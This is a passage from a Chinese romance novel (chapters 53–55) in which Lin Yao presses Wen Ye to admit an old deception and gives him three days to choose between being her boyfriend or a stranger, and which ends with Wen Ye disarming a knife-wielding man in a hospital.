陈澍予笑容温和,对大家打了声招呼,然后看向林杳,脸上的笑容放大了些:“好久不见啊杳杳。” 这一看就是有情况啊!大家视线在林杳和陈澍予两人之间来回打转。 苏远洲这次反应变得迟钝了,对好友突然整的这么一出有点懵逼:“不是,怎么回事?阿予你和我们科室的小林医生认识啊?” 陈澍予笑着“嗯”了声:“高一同学,后来又都在剑桥的医学专业。” “靠,怪不得你这几天闲着没事一样总找我聊天,还问我今年科室有没有进新人,搞半天不是想我了啊!”苏远洲恍然大悟,脸上露出大为受伤的表情。 这话一出,众人还有什么不明白的。 在场几个本来对林杳有意思的男医生都歇菜了,一脸郁郁,这优越的长相气质学历,手上那把车钥匙还是宾利,再比下去就是自惭形秽了。 刚才对陈澍予有想法的几个女医生和女护士也只得遗憾地断了想法,只是看林杳和陈澍予的眼神变得更为暧昧,别说,男帅女靓,真是登对得不行。 一个服务生端着果盘和小吃进来,有点惊讶:“野哥原来你在这儿啊,周老板送了一批朗姆酒和伏特加过来,正等着你过去结账呢。” 闻野收回看着陈澍予的视线,垂睫眼身旁的林杳说了句我出去一趟,起身往外走,带上门时,又往里看了一眼,陈澍予走过去,坐到了小姑娘身旁。 中断的游戏从林杳这里开始,几轮之后闻野还没有回来,林杳倒是一直幸运地没有让瓶盖沉下去,又一局后,苏远洲翻了车。 他后边是个年轻漂亮的小护士,平时总和他调侃说笑,知道他玩得起,也不搞含蓄那套,挤了挤眉,问出一个相当成年人的话题:“都知道我们苏医生是咱们科室的夜店小王子,那有没有发生过酒后乱那啥,419的事啊?” 林杳心倏地一跳,捏着塑料叉子要去戳水果的手指顿了顿。 “那肯定没有啊。”苏远洲一点不心虚,还很热心地给她们科普起来:“你们这群小女生可千万别信男生什么酒后乱性的鬼话,在完全喝醉,没意识的情况下,男的根本就起不了反应。” 见她们还一脸怀疑,苏远洲又道:“不信你们去问周医生。” 另一个男医生笑着点了点头:“那确实是这样,我们苏医生没扯谎。” 陈澍予留意到林杳脸色的不对,关心问她怎么。 “我……我想去上个厕所。”林杳把手里的塑料叉子扔进垃圾桶,起身走出包间。 外边的卡座几乎坐满,她视线眺望一圈,也没找瞧见闻野的身影。 正好碰到个给客人送完酒的服务生,她便向他询问道:“请问你知道你们老板去哪儿了吗?” 小瑞对她还有很深的印象,就是前不久来了过次,就让野哥一见钟情的对象,当时野哥还让他帮忙看着,别让她被不三不四的人骚扰了。 “野哥在休息间呢,我带你过去。”小瑞很有眼力见,热情地给她在前边引路。 喧闹声渐远,到了休息室门口,林杳听到里面打游戏的音效声,大得有些吵了。 小瑞推开门,让她进去。 休息室里此时就闻野一个人,他坐在一把椅子上,长腿往前伸着,身体靠着墙,头和脖颈低低垂着,手机搁在腿上,左手手指快速敲着屏幕操作。 她都走进来了,闻野还没有察觉,像是全神贯注于游戏之中,可外放的语音又清晰地传出彭一凡的声音—— “啊啊啊野哥你刚在发呆嘛?对方那么明显一个攻击野哥你干啥不躲啊?!!!” 熟悉而清甜的香气拂过鼻尖,闻野指间的动作一僵,他抬起头,果然是她。 林杳眼睛眨了下,出声问道:“你怎么一个人在这儿打游戏,不到包间一起玩啊?” 闻野敛了敛情绪,一直绷得平直的唇角往上扯了扯:“你们玩的那个没什么意思。” 反正陈澍予来了,有他留在包间,肯定不会让她吃亏的,他继续留着反倒碍事。 他黑眸看着她,笑了声问:“找我有事?” 林杳轻抿了下唇角:“刚才玩的那个游戏,你输了,你还没接受我的惩罚呢。” 闻野觉出一点异样,她不可能为一个游戏不依不饶地找过来,没等他开口,她先出声道:“我要你回答我的真心话。” 林杳一鼓作气地问:“七年前的那次,你是不是骗我的?” 闻野神思一震,那次是哪次,彼此心知肚明。 他喉咙艰难地动了下,还没来得及继续撒谎骗她,就见小姑娘扯了扯系在脖颈的一截红绳。 红绳末端系着块玉佩,上面刻着慈眉善目的菩萨。闻野自然认得,这还是他给她求来的。 “这枚玉佩,是我手术前一晚你给我戴上的,菩萨确实很灵,保佑了我手术成功。” “现在你就在菩萨面前回答——” 她倔强地抬着头,直勾勾望着他眼睛:“如果你当着菩萨的面还撒谎,菩萨肯定会不高兴,说不定就收回了对我的保佑。” 第53章 第五十三章 三天时间考虑 林杳知道他最在乎什么, 还要继续拿话激他,就被他沉声打断。 “杳杳——” 闻野根本不敢让她说完,他脸部线条绷得紧紧的, 深折的眉峰里是浓浓不悦的情绪:“有些话不能乱说!” 林杳仰着脖子, 一眨不眨地望进他漆黑的眸底, 语气执拗:“说出去的话泼出去的水,反正菩萨肯定已经听到了, 你不想让菩萨不高兴,就跟我说真话。” “这个问题又不难回答,你只用回答是或者不是就行了啊。” 闻野如蛇被拿捏住了七寸,进退不得,有关她的身体健康,哪怕只是迷信,他都不敢去赌。 他艰难地动了动唇,那个字终于缓慢滞涩地从 喉咙里滚了出来:“……是。” 林杳呼吸一滞,一切瞬间变得清晰明了,他的右手肯定在她来找他前就受伤,所以他才故意弄那么一出给她看。 她眼眶发红:“你怎么能这么骗我?!你这个坏蛋, 混蛋,王八蛋!你太过分太讨厌了!你知道我当时有多难过吗?!” 她声音染上了哭腔, 用尽自己的词汇量骂他, 使劲用手打着他的胸膛。 闻野一动不动站着任她发泄, 看着她流着泪, 红彤彤的眉眼, 心脏像是被根细细的钢丝紧紧勒着,想去抱住她又不敢。 拍打了十几下之后,林杳又哭着扑进他怀里, 双手紧紧抱住他。 怎么可能不生气,那一晚还有之后的好多好多晚,她都是在眼泪中度过的,可除了强烈的恼怒,她还心疼他这七年独自一个人扛下所有。 他的行为荒谬又离谱,但她也曾感同身受过,所以不是不能理解。 就如她以前生病时,她不想拖累他,好几次想偷偷一走了之。 闻野身前的衣服被温热的眼泪浸透了,湿了他的胸膛,流到了他的心里。 他僵硬地抬起胳膊,大掌轻轻揉着她脑袋,像过去每一次哄她那样,却因为隔的时间太久,动作透出几分生疏。 男人声音嘶哑,满是无措,想不到别的话,只能一遍遍说着苍白又无力的道歉:“对不起,都是我的错,是我不好,杳杳别哭了好不好。” 林杳又抽噎了好一会儿,才慢慢止住哭,她从他硬实的胸膛抬起挂满泪,脏兮兮的小脸,眼睛和鼻尖都变得通红,两扇浓密的睫毛湿漉漉的黏成几绺几绺的。 她泪盈盈的大眼睛望着他:“你那一天明明有很多不对劲的地方,我要是更仔细一点,也许就能发现了。” 他明明最讨厌气味重的东西,怎么可能会贴那么一块有着强烈中药味的膏药,如果她当时撕开看一下,肯定就能看到他掌心还没长好的疤痕。 闻野听着她充满遗憾的语气,心口疼得更要命了,这世上怎么有这么好,又这么傻乎乎的小姑娘。 他抬起指腹,轻轻擦掉她眼睑下摇摇欲坠的泪珠,嗓音更哑了:“杳杳一点问题都没有,都是我的错。” 手机这时响了,林杳拿出来接通,听筒传来姜思悦的声音:“杳杳你上厕所怎么去了这么久还没回来啊,你没事吧?” 林杳说了没事,又听到她道:“那你快回来啊,我们马上开始玩狼人杀了。” 挂了电话,她又望向他:“同事喊我去玩狼人杀,我一点都不会,你陪我一起去吧。” 小姑娘氤氲着水雾的眼眸在灯光下更亮了,像亮着点点星光,声音里还带着鼻音,软绵绵的,都让人完全没法拒绝。 闻野:“好。” 她又笑了起来,水汪汪的眼睛弯了弯,简直好哄得要命。 闻野去拿了瓶矿泉水,一只手,开瓶水都麻烦。 他用右手胳膊肘夹着,再拿左手拧开瓶盖,又抽出几张纸巾,倒水上去打湿。 林杳看明白了他要做什么,没等他说话先一步冲他仰起含泪又带着笑的小脸。 那模样乖惨了,闻野喉结滚了滚,拿着湿纸巾,轻轻给她把满是泪痕的小脸擦了擦。 他把用完的纸巾扔进垃圾桶:“走吧,我们过去。” 他说完刚要抬腿,垂在身侧的左手被只温软的小手牵了起来,他怔了下,脚步也一顿。 林杳脸颊莫名有点红,明明以前亲都亲过了,现在牵个手怎么还有点不好意思了。 “干嘛站着不动,快过去吧,别让他们久等了。”她低着头,语速飞快道。 牵着他的力道那么小一点,闻野轻易就可以抽出来,可他明明左手是好生生的,竟也像是使不出半分力气。 直到走至包间门口,闻野停住脚步,迎上小姑娘不解又不满的目光,他提醒道:“刚进去的时候,我说是你哥。” 林杳想了起来,把手松了开,不然别人看着肯定会觉得奇怪,还得解释一通。 里面光线昏暗,她还有些红的眼眶也没人发现,她跟闻野进去坐下,苏远洲给她和几个不会玩的同事讲解了一遍规则,又玩了两个多小时,直至十二点才散场。 一群人走至酒吧门口,才发现不知何时下起了瓢泼大雨,有小贩瞅准这个机会,趁机在旁边卖着质量差,但三十一把的高价塑料雨伞。 大家只好纷纷扫码购买,男同事基本都是开车来的,撑着伞先把车开来,再一人带个顺路的女同事一起回去。 闻野拿着手机叫车,他的车就停在街边,但这种大雨天,路况不好,一只手开车很容易出交通事故。 又因为雨天,滴滴需求量大,一直没有接单。 一辆黑色宾利开了过来,陈澍予撑着雨伞走下来,看向还在等车的三人:“我送你们回去吧。” 林杳感谢后摇头:“不用啦,闻野已经在叫车了。” “都这个点了,又下这么大的雨,再等半个多小时都不一定打得到。”陈澍予笑了下:“不就是一脚油门的事,我们这么多年同学了,你怎么还跟我搞得这么见外?” 这话说得林杳有点不太好意思再拒绝了,姜思悦悄悄拽了下她的手,小声劝道:“要不我们就接受陈医生的好意吧。” 林杳不答应,姜思悦自己肯定不能厚着脸皮蹭车,而且宾利诶,她这辈子还没坐过呢! 林杳又把征询的目光看向闻野,闻野收起手机,黑眸望向陈澍予:“多谢了。” 没必要让小姑娘在这儿吹风受凉,明天她还要上班,再晚回去就休息不好了。 他坐上副驾驶,林杳和姜思悦坐在后边。 一坐上去,姜思悦就忍不住满是艳羡地感叹道:“不愧是宾利,连坐垫都是我坐过最舒服的。” 林杳和闻野没说话。 姜思悦又和陈澍予聊起来,知道他还有一年就读完剑桥的博士后那叫一个钦佩得五体投地,好一通真心实意的彩虹屁。 话题理所当然地顺着往下,她又问起他之后的打算:“那陈医生你之后会继续留在英国,还是选择回国啊?” “可能会回国吧,我外婆年纪大了,现在就一个人待在国内,我回来能多陪陪老人家。”陈澍予顿了顿,视线往上一抬,通过后视镜看向后座的林杳,也和车后座男人抬起的黑眸撞上。 他笑了声,继续道:“而且,我喜欢了很多年的女孩也在国内。” 这话一出,车厢里的氛围都变得不一样了,姜思悦秒懂,暧昧地喔唷了一声,打趣的眼神直往林杳脸上瞅。 林杳再不开窍,这下也听懂了他话里的暗示,她有些不高兴地蹙了蹙眉。 在此之前两人就是按照普通朋友那样相处,那条线一直保持得泾渭分明,她以为他早就没了这个意思。 现在他却突然这么说,关键是闻野也在这里。 然而他又没指名道姓的说是她,她也不能上赶着说他喜欢的那女生就是她,就是连拒绝说清楚的机会都没有,就很让人烦恼。 下雨天车开得慢,二十分钟才到闻野的住处,毕竟麻烦了他,下车之前林杳还是又向他道了声谢。 闻野撑起透明的塑料伞,没走出几步,伞下的小姑娘就把伞柄朝他推了推,语气不满地嘟囔:“你好好撑着。” 原本大半向着她倾斜的伞面不偏不倚地打在两人头顶。 她主动搂起他胳膊,和他贴近,眼弯弯又笑吟吟道:“这样我们两个都不会淋到了。” 林杳不知道闻野有没有听出陈澍予那话的意思,从下车到电梯的这一段距离她一直在思考,最终决定跟他说清楚。 她不想他们之间再有一点误会。 “刚才陈澍予开车时说的那女生,我觉得很可能是我。” 这话听着就好自恋,林杳表情变得有点不好意思,对上男人看过来的漆黑眼眸,她脸颊都热了。 “但我对他从始至终一点那方面的意思都没有,我会尽快找个机会跟他说清楚的。” 好在说完电梯就到了,这个令人尴尬的话题也能就此终结,林杳松了 口气,率先走出去,拿钥匙开了门。 她回房先洗澡,闻野也在客厅的卫生间冲了个澡,当然也是他先洗完,只是回卧室没多久,轻轻的两下敲门声响了起来。 林杳抱着自己的枕头站在门口,门一开,不等闻野开口,她先把心里早过了好多遍的说辞搬出来:“我刚在房间里看见了一只蟑螂,我不敢在那里睡了。” 因为撒谎心虚,她语速说得比平时快,眼神也不自在地躲闪了几下,但这也好过明目张胆地就说我想和你一起睡。 那也太不矜持了。 虽然……两人从前也好多次在一张床上睡,但毕竟已经隔了七年的时间呀。 闻野黑眸看着她:“我明天去买杀虫剂把你房间喷一下,你今晚先睡我这儿。” 得到想要的结果,林杳心满意足地跟着他走进去,结果她刚把怀里的枕头放到他床上,却看到闻野捞起自己的枕头和被子走到了客厅,放到了沙发上,人也跟着就要躺下去。 “你什么意思啊?”她趿着拖鞋噔噔噔跑到沙发前,又气又委屈地咬着唇。 闻野站起身,阳台的窗户外电闪雷鸣。 他看着气鼓鼓的小姑娘,喉咙动了动,声音干涩:“杳杳,我觉得我们还是像以前一样……继续做兄妹更好。” 林杳像听到了天方夜谭,不可思议地睁圆了眼,又见他真就像是摆出了做哥哥的姿态,诚恳地给予她这个妹妹择偶上的建议 。 “陈澍予他……其实挺好的。”他声音沙哑,语气认真,“剑桥的博士学历,父亲是我都听说过的,名声很好的企业家,母亲是德艺双馨的演唱家,他因为外婆年迈的外婆选择回国发展,证明他还是有孝心的人,人品应该没问题。” 所有外在的条件,都强过他千百倍。 而他连个健全的正常人都不算,一只手,拧个矿泉水都不方便,一到下雨天连车也没法开,还有生活中处处不方便的地方…… 她还小,才出象牙塔,有些现实的事还看不明白,可他这几年早在社会的摸爬滚打中度过了一腔热血的年少时期。 那些谈起来市侩又庸俗的话题,偏偏就是在婚姻中很重要,因为生活中百分之九十的问题都可以用钱,或者说是足够多的钱来解决。 就比如当初她生病时,他如果很有钱,很有人脉关系,那他早早就能把她送出国,找最好的医生做手术。 而不是去一趟京市,还要让她因为心疼钱,两人挤在一间暖气跟个摆设一样的小宾馆,半夜让她脚冻得冰凉。 这种类似的窘迫,他不想让她在之后的日子再次品尝到。 闻野哑声艰难道:“他还喜欢了你很多年,说明还是很长情的。” 林杳听他又列举出一点,都要气笑了。 她扬起下巴,气鼓鼓地翻起旧账:“几个小时前我们还抱在一起,还牵了手呢,哪个哥哥妹妹这么大了,会做这种事?” 闻野神色一僵,压抑着所有情绪,随即郑重地向她保证:“我以后会注意的,不会再做出这种逾越的举动。” 林杳真的想再狠狠咬他一口了。 她瞪着他,干脆决绝地放下狠话:“要么你当我男朋友,要么我们从此就是那种过年都不发消息问好的陌生人,给你三天时间,你好好考虑。” 又特意板着小脸强调:“这次我绝对说话算数,绝对不会像之前那样食言了。” 走之前还是气不过,林杳往他脚上重重踩了两下,才头也不回地进到他房间,把他房门砰的一关。 她就是要鸠占鹊巢! 谁让他好好的床不睡,非要睡硬邦邦的沙发呢! 闻野躺沙发上,睁眼一直看着阳台外哗啦啦下着的大雨,心里自责又歉疚,他怎么那么讨厌,不是害得她哭就是惹得她不高兴。 凌晨三点多,雨势终于收尾,浓黑的夜色又变得静谧,他卧室也很静悄悄的,小姑娘应该是睡熟了。 他还没一点睡意,那个选择,实在太难做。 他舍不得和她成为陌生人,但也舍不得她到了三十岁,或者四十岁之后,像很多结婚多年的女人一样后悔,想着如果当初如果没被一时爱情冲昏头脑,找个条件好的多好…… 在从前他们已经拆了的那片地,他见过听过太多太多这样的抱怨。 闻野头枕着左手胳膊,叹口气,在脑海里盘算起来,自己银行卡上的存款,酒吧每个月的盈利额,这房子如今市价多少,把酒吧转让出去又是多少钱…… 五点半,天依稀透出一点灰蓝的曙光,闻野轻手轻脚去卫生间简单洗漱了一番,拿着手机出门,拦了辆出租去从前住的那片地方。 那里有家老字号的烧卖,小姑娘从前很喜欢吃。 又买了些其他的,回来六点半钟,闻野听到卫生间里传来洗漱的动静,他把这些早餐放在餐桌摆好,坐着等林杳出来吃。 林杳简单收拾了下自己,对着镜子扎了个低马尾,把手机揣进帆布包里背着走出房间。 她一下闻到熟悉诱人的烧卖香气,鼻尖动了动,继续目不斜视地走到玄关换鞋。 闻野走过去,好声好气道:“杳杳,先把早餐吃了再去上班。” 林杳木着小脸,头也不抬地继续穿鞋:“在你没考虑好之前,我们就是同住一个屋檐下的陌生人。” 她哼了一声,硬气道:“我不随便吃陌生人给的东西。” 第54章 第五十四章 带给人十足的安全感…… 下午四点多, 闻野把一直给他酒吧供应酒水的周兴伟约了出来。 就在“一点半”的一个包间里,两人坐着喝了杯酒,闻野就开门见山地说了意图。 “我想把这间酒吧转让出去。”他抬起带笑的黑眸:“不知周老板有没有这个兴趣?” 周兴伟当然有这个兴趣, 他有一条拿各种酒水的渠道, 要是自己开个酒吧, 成本能压缩到最低,最近他其实已经在四处看地段, 寻找合适的门面了。 闻野肯定是听到了消息,所以才来找的他,相比于租个店面重新装修,或者盘下人家快倒闭的酒吧重新经营,都不如接手闻野这家。 毕竟附近这一片,“一点半”酒吧一直是生意最好的。 但也正因生意太好,周兴伟反倒迟疑了,他一脸笑地向闻野打探虚实:“闻老板这间酒吧不说是日进斗金吧,但每个月纯赚的起码也有这个数吧。” 他伸手比了个数。 闻野沉吟了下,并不隐瞒:“还要多一点。” 周兴伟愣了下,更是疑惑不解了:“那你怎么还想转让出去呢?” “我觉得, 赚得还不太够。” 他将搁茶几上的一份合同拿起来,递到周兴伟手里:“这个转让价, 周老板看能不能成。不行我就再拿给徐老板看看。” 签完合同, 闻野送走了周兴伟, 拿手机看了眼时间, 差不多林杳下班的时间了, 小姑娘说到做到,今晚肯定是不愿意跟他这个“陌生人”一起吃晚饭了。 他于是没去餐馆,转而去了家花店, 买了一束最香的香雪兰,顺便又买了个花瓶,回家之后闻野把花插好,摆在客厅的餐桌上。 客厅弥漫开一股清甜淡雅的香气。 小姑娘不吃他这个“陌生人”买的东西,总不能也不闻他买的花,他希望漂亮的花和扑鼻的香味 能让她心情稍稍好一点。 闻野晚上来不及吃饭了,马上就得赶高铁去隔壁的临市,那边有个他几年前认识的,家里做电梯的生意的。 林杳只给了他三天考虑时间呢,这已经过去了一大半。 出门前他把空调打开,调到最让她适宜的二十七度。 今晚林杳下班了没直接回家,陈澍予约她晚上一起吃饭,她正好想和他把话说清楚,便答应了下来。 陈澍予开车过来接她,他说了个西餐厅的名字,问她想不想吃,林杳不想把氛围搞得那么暧昧,就说想吃烧烤。 到了医院附近一家烧烤店,客人太多,里面都坐满了,外边都摆了好多桌。 林杳和陈澍予还是等了一会儿,才在外面的一个桌子坐下。 “在英国待了这么久,突然回来,还适应么?”陈澍予笑着问她。 他每年至少回国两次陪外婆,倒是林杳,隔了七年这才第一次回来。 “大部分还好。”林杳想了想道:“就是很多小程序我还不会用,还有我还在英国习惯了出门带现金和卡,但现在连街边的早餐店都是扫码付钱了。” 两人又聊了些,等到点的烧烤都端上来,也是边吃边说着这些轻松的话题。 一直到快吃完,陈澍予才笑着邀请她晚上一起去看电影。 林杳摇了摇头:“不方便。” 陈澍予脸上的笑容未变:“那明天晚上行么?” “明天也不行,我明晚上夜班。”林杳直截了当,把话说得明白:“更重要的是我有喜欢的人了,再单独和男生看电影就不太合适了。” 陈澍予脸上的笑意僵了僵,几乎是肯定地问:“你喜欢的人是闻野?” 林杳点头:“你知道的,闻野和我并不是真正的兄妹,我们没有一点血缘关系,在我来英国念书之前就喜欢他了,后来我们因为误会分开了,但这七年我一直没忘记他,还是很喜欢他,我想和他继续在一起。” 陈澍予看着一脸认真说这话的林杳。 盛夏的晚风拂过,少女披散着的长发被微微吹起,脸上一点妆没有,两弯天生浓淡合宜的细眉,那双圆润的杏眼还和高中时一样纯澈乌黑,不染杂质。 陈澍予想起高一第一天军训,他们所有人被拉到很偏的一个军事基地,男女生分开训,汗流浃背地操练了一天,傍晚一窝蜂地涌到统一的公共澡堂洗澡。 男生熟得快,一天下来就无话不聊了,洗完澡陈澍予和几人抱着个盆子往宿舍走,身边的人都在谈论一班那个叫林杳的女生。 说长得特美,跟仙女似的,还商量着等晚上训练完一起去给人家买冰淇淋,要q.q号。 陈澍予漫不经心地听着,并不是很感兴趣,他从小就是天之骄子的存在,从初中起就记不清被女生当面表白,背地里偷偷塞情书多少次了。 他还嫌烦,根本不能去主动认识哪个女生。 身旁叽叽喳喳的声音突然一静,陈澍予好奇地抬头,看见几个也是才洗完澡,迎面走来的女生,但更准确的说,是看见了林杳。 她穿着绿色的军训服,上衣扎进裤子里,系到最后一格的皮带掐出一截纤细的腰肢,端着水盆的胳膊也细得要命,又白得晃眼。 少女刚吹完的长发半披着,巴掌大的小脸,黛眉杏眼,香腮胜雪,只用漂亮来形容都不够,整个人干净到有种空灵的感觉。 盛夏傍晚燥热的风吹得她发丝拂起,像从他心尖上也拂过,带了陌生的痒意。 再后来就是新生晚会,陈澍予看见她登台跳舞,整个人闪闪发光,他完全认同了那些男生的话,真的就跟仙女似的。 他跟他母亲说不习惯他们班英语老师的美式发音,因为家里有学校的股份,轻而易举就在几天之后转到了林杳所在的一班。 从年少情窦初开到现在,陈澍予觉得自己够痴情了。 他还记得闻野。 很多年前的平安夜晚上,他送林杳回家,就在一个贫民窟一样破烂的地方,见到一身野蛮气息的少年,当时陈澍予觉得这人和这破烂地方挺配的。 现在他倒是没走上什么犯罪的路,还开了个酒吧。 但在陈澍予眼里仍是完全不够看的,关键他右手好像还是残废。 陈澍予有些挫败,更多的却是满腔的不解:“你能告诉我,闻野到底哪里比我好吗?” 无论是家世背景,还是学历,他自认为自己对闻野都是碾压级的,甚至连长相,他都不觉得自己输给对方。 林杳皱了皱眉,很不高兴他这问法:“我从没有拿闻野和你比过,喜欢一个人又不是买东西,还要货比三家。我喜欢他,他在我心里就是天下第一好,谁都比不过。” 她没让陈澍予送,自己打了车回去。 到了家,一进门就感受到空调的凉爽,还有股清甜的花香,她还以为闻野在家,换拖鞋时还调整出面对“陌生人”的木然表情。 等走了进去,她一眼看见桌上好大一束淡粉色的香雪兰,卫生间和闻野卧室的门都开着,悄悄张望了下,都没瞧见他的身影。 原来不在家啊。 林杳松开抿着的嘴角,跑到餐桌前倾身过去闻了闻花,比香水还香,闻着令人心旷神怡。 晚上十点多,她洗完澡,躺上床拿起手机时看到闻野给她发了条微信:【我已经到隔壁临市了,有点事处理,大概明天晚上回来】 谁管他一个陌生人什么时候回来啊,她哼了一声,放下手机吹头发,过了几分钟又重新拿起。 冷漠地回了一个句号。 闻野来到临市已经是晚上十点,找了个宵夜的地儿,先把他那朋友约了出来。 对方挺快就来了,倍感稀奇地问:“你不会是失恋了吧,大半夜跨个市跑来找我喝酒?噢对了,你压根就没女朋友啊。” 闻野没跟他玩笑:“你家不是做电梯的,有个合作想跟你谈谈。” 对方更懵了:“你酒吧不就一层嘛,还需要装电梯啊?” 闻野跟他说了想法,他想搞个建筑承包公司,专门承接老旧小区改造的项目。 前两年是酒吧行业最好做的阶段,现在几乎饱和了,各种小酒馆,清吧越来越多,各种娱乐会所也日渐兴起,虽然“一点半”现在生意还没受到什么影响,但闻野已经有预感以后客人势必会分流。 所以想要赚更多钱,扩张开分店显然不是一个好想法。 前段时间闻野去彭一凡那个汽修店,正好听到在那儿等着补胎的一个包工头打电话,说他给个老小区就砌外墙铺地砖,还有弄个水管修复,一个月就赚了六万。 闻野听得就心思一动,现在大肆拆迁的现象肉眼可见的减少,老小区改造那肯定是新一波很赚钱的项目,还有政策的扶持。 不过这念头也就当时一闪而过,他懒得折腾,毕竟那会儿酒吧的收入对他来说就挺够的了,没必要再承担任何风险。 但现在又不一样了,他想赚很多钱,越多越好。 杜戈听完觉得他说的确实很有前景,随即又不好意思地挠了挠头:“你知道的啊,我在我们家工厂就是挂个闲置,凡事都还要我爸拍板决定。” 闻野笑了笑,拿起桌上早倒好的一杯酒,仰头灌完,一滴不剩:“我知道,所以明天麻烦你带我去见见你爸,我再和他谈。” 等谈完再差不多敲定下来,已经是第二天下午四点多了,杜戈要留他吃个晚饭,闻野说下次吧,执意要走,还是坐了最近一趟高铁回去。 到家十点半了,林杳却不见人。 他等了等还没看她回来,给她发去微信询问,过了会儿收到短得只有两个字的回复:【夜班】 闻野放心了,给花换了水,又去去倒客厅的垃圾,看到里面一盒拆开的药盒一愣。 拿起来看,是盒布洛芬,过去 小姑娘每月必备的。 闻野清楚地记得她例假的日子,是在每月月初,但这么久过去,变化了也不奇怪。 他去楼底下超市买了一袋红糖,还有生姜红枣桂圆枸杞这些补血的,从前林杳只要来例假,吃了布洛芬都还是疼,他照着这个方子熬一碗给她,倒是能缓解一些- 肿瘤科夜班不算忙,苏远洲处理了个病人发热呕吐的症状,回到科室,看到脸色苍白的林杳,又留意到手边放着的一板布洛芬,瞬间了然。 他拿起热水壶,往林杳快空了的杯子倒满水。 林杳忙感激道谢。 “就顺手的事,谢什么啊。”苏远洲笑着走回自己位置坐下,拿出手机给陈澍予发去条微信:【今晚我值夜班,我快要饿死了,给我送份宵夜来!!】 陈澍予心情还烦闷又憋屈,直接回了个:【做梦】 苏远洲:【和我一起值夜班的还有林杳,她好像痛经,那小脸白得哟,你要是给我送宵夜的时候顺便再给她送碗热乎乎的红糖水,那人家对你的好感值不噌噌往上涨,这种机会你不要就算了哈】 陈澍予并没告诉他自己被拒绝的事,他还是不服气又不甘心,盯着这条信息良久,他走出房门,敲了敲一直照顾他外婆的阿姨房门。 “宋姨,我有个朋友来例假肚子疼,麻烦你帮我煮碗红糖燕窝。” 晚上快十二点,一起值班的还有姜思悦肚子饿了,她想点份外卖,问林杳和苏远洲要不要也点些。 苏远洲胸有成竹道:“你不用点外卖了,等会儿有人给我们送夜宵来,保证好吃。” 正说着,陈澍予走了进来,一手拎着一家高级日料店打包的餐盒,另只手拎着家用的保温桶。 他先走到苏远洲桌前:“你不是说快饿死了,吃吧。” 苏远洲笑着冲姜思悦招手,示意她一起来吃,姜思悦连忙过去,眼睛都要放光了:“哇,这就是我一直想吃舍不得去的那家日料店,人均都上千了!” 两人沾着林杳的光,一块块寿司吃起来。 陈澍予又走到林杳跟前,清隽的面容上有几分不自然:“苏远洲说你肚子疼,我正好过来,顺便让阿姨给你熬了碗红糖燕窝。” 林杳眉头蹙了起来,如果只是朋友,他这样做当然是很贴心的,可他对自己有那方面的意思,这举动就很越界了。 她觉得自己昨晚把话说得已经够清楚了,正要张嘴拒绝,门外突然闯进来一个四十多岁的男的。 一抹冷光从林杳眼前,她才发现那男人手里竟然拿着刀。 男人把科室环顾一圈,没有他想找的,便把刀对向离他最近的林杳,他神色近乎癫狂:“都不许动!” “快把你们那个姓万的臭医生给我找来,要不是他,我儿子就不会死!” 男人厉声吼道,眼睛猩红,又把刀尖冲林杳抵得更近。 深夜医院本该是安静的,突然闹出这么大动静,隔壁科室的几个医生跑来看是什么情况,一看都被吓得不轻。 明晃晃的刀尖离林杳胸口只有几厘米的距离,她全身冰凉,一动不敢动。 姜思悦吓得瑟瑟发抖,快要哭出来了,医闹她听过不少,自己却是第一次经历,还是个直接拿刀要捅人的疯子! 苏远洲竭力维持镇定,拿手机给院长打电话,汇报了这一情况,又连忙安抚男人的情绪:“你别着急,别冲动啊,我跟院长说了,万主任马上就过来。” 陈澍予和男人站得最近,他学过跆拳道,如果男人赤手空拳,拿下他完全不在话下,然而他手里有刀。 打斗过程难免受伤,是身体其他部位还好,可要是手,那他作为外科医生的职业生涯就要完结于此了。 在他理性地衡量,怎么做才是最优抉择的这十几秒,门口出现一道颀长高大的身影。 陈澍予看见了闻野。 没有一秒的迟疑和犹豫,闻野将手里拎着的个保温壶往男人后脑砸了过去,自己也立刻冲了过去,在对方反应过来前将他扑倒。 两人扭打在一起。 林杳心一瞬间提到了嗓子眼,并不比刚才被男人拿刀指着时轻松,后背冷汗涔涔地冒。 在看到男人挥刀朝闻野刺来,闻野又用左手紧紧握住时,她脑子轰隆一声,心脏都停住跳动,连呼吸都忘记了怎么呼吸。 赶过来的保安终于瞅准这个时机,立刻过去将男人制服,林杳并没有劫后余生的庆幸,她整个人犹如虚脱,腿脚更软了,踉跄地朝他走过去。 一片混乱中,闻野也立即走向她,唇角安抚地弯了弯,嗓音低沉带着哄:“别怕,那刀没开刃。” 说着把刚握刀的左手手掌摊开给她看,粗粝宽大的掌心就一条深深的红痕,连一滴血都没有。 林杳心脏这才落到了实处,开始迟缓地跳动,又似不敢相信自己眼睛,手指小心翼翼地摸了摸他还抬着的掌心,一片干燥,确实没有受伤流血。 “真没什么事。”闻野勾唇笑了,“你再晚点看,手上的这道红痕都没了。” 在场众人也都为此松了口气,一名小护士朝闻野走过去:“你胳膊肘擦伤了,我带你去处理下吧。” 说话时小护士眼睛里闪烁着看英雄一样的钦佩目光,在此之前谁知道这刀是没开刃的啊,就他敢冲上去,简直太勇敢太man了! 闻野扭过胳膊肘看了眼,是青紫了一块,可能刚才扭打中磕碰到了,不过也不怎么疼就是了。 “等下。” 闻野对着那女护士说了句,在地上找到刚自己扔过去的保温桶,不锈钢的桶身摔凹进去了一块,但杯盖还紧紧拧着,没漏。 他拎起保温桶,递到林杳手边,凛冽的眉眼笑着,嗓音沉稳,带给人十足的安全感。 “我去处理下,给你熬的红糖枸杞,你拿去喝。” 第55章 第五十五章 杳杳,我爱你 院长, 副院长都紧急赶来医院处理这件事,警察也来了,先对林杳做笔录。 其他人被请离, 等科室里只剩林杳和两位警察, 女警察便去把门带上。 陈澍予透过即将关阖的门缝看了看林杳。 她还没从惊吓中缓过来, 脸色还白得厉害,手里捧着个摔得凹凸不平的保温杯, 一口一口慢慢喝着红糖枸杞茶。 腾起的热气氤氲着她小脸,好似渐渐有了血色。 陈澍予抬脚离开,之前心里的不服气和不甘心在这一刻消失无踪。 他喜欢林杳,这么多年一直都是,所以刚才在理智地权衡和考量之后,他很大可能还是会冲上去。 然而从他在内心权衡的那一秒起,他似乎就输给了毫不犹豫的闻野。 做完笔录,林杳走出科室,好多同事还等在外面安慰她,通过他们一人几句话,她知道事情的原由。 那男人不是第一次来医院闹过了, 他的儿子前几年由万主任做了手术,当时肿瘤被完全切除, 又没有对周围健康组织造成损伤, 因此万主任出了手术室便对他说手术是很成功的。 然而他儿子本身免疫力差, 这种大型手术导致他脏器功能衰减, 没几个月还是不幸去世了。 